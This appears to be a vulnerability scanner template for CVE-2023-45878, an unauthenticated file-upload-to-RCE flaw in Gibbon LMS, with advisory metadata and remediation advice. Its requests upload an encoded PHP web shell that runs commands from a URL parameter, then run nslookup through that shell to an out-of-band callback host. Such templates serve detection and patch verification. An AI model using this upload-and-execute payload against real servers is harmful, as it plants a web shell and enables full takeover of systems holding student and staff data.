id: CVE-2023-45878 info: name: Gibbon LMS <= v25.0.01 - File Upload to RCE author: ajdumanhug severity: critical description: | Gibbon LMS versions 25.0.1 and earlier are vulnerable to an Arbitrary File Upload that can lead to Remote Code Execution (RCE). The issue stems from the rubrics_visualise_saveAjax.php endpoint, which, notably, does not require authentication. Because of this, unauthenticated attackers could potentially upload malicious PHP files and execute arbitrary code on the server. impact: | Unauthenticated attackers can upload arbitrary PHP files through the rubrics_visualise_saveAjax endpoint to execute arbitrary code on the Gibbon LMS server, enabling complete application and server compromise. remediation: | Fixed in v26.0.00; upgrade immediately, or restrict access to the vulnerable endpoint and implement WAF protection. reference: - https://github.com/GibbonEdu/core/releases/tag/v26.0.00 - https://github.com/GibbonEdu/core/tree/16638b849220dd24ed1e536b44b76e222ae0f6c0 - https://nvd.nist.gov/vuln/detail/CVE-2023-45878 - https://herolab.usd.de/security-advisories/usd-2023-0025/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-45878 epss-score: 0.63113 epss-percentile: 0.99094 metadata: verified: true max-requests: 1 vendor: gibbonedu product: gibbon shodan-query: - http.favicon.hash:-165631681 - http.favicon.hash:"-165631681" fofa-query: icon_hash="-165631681" tags: cve2023,cve,file-upload,rce,gibbonedu,gibbon,vkev,vuln flow: http(1) && http(2) variables: filename: "{{rand_base(6)}}" http: - raw: - | POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded img=image/png;{{filename}},PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2b&path={{filename}}.php&gibbonPersonID=0000000001 matchers: - type: dsl dsl: - "regex('^{{filename}}.php$', body)" - "status_code == 200" condition: and internal: true - raw: - | GET /{{filename}}.php?cmd=nslookup+{{interactsh-url}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - dns - type: status status: - 200 # digest: 4a0a004730450220325dd4b54c6821b4f5e5e2c3a80ee526e59459e7b9536e0be9ee4b0d63f8dbc902210089ce3f29bcb7df960ce90858c3f556e1d03c5218fd1b784bd0681f95cc540ff9:922c64590222798bb761d5b6d8e72950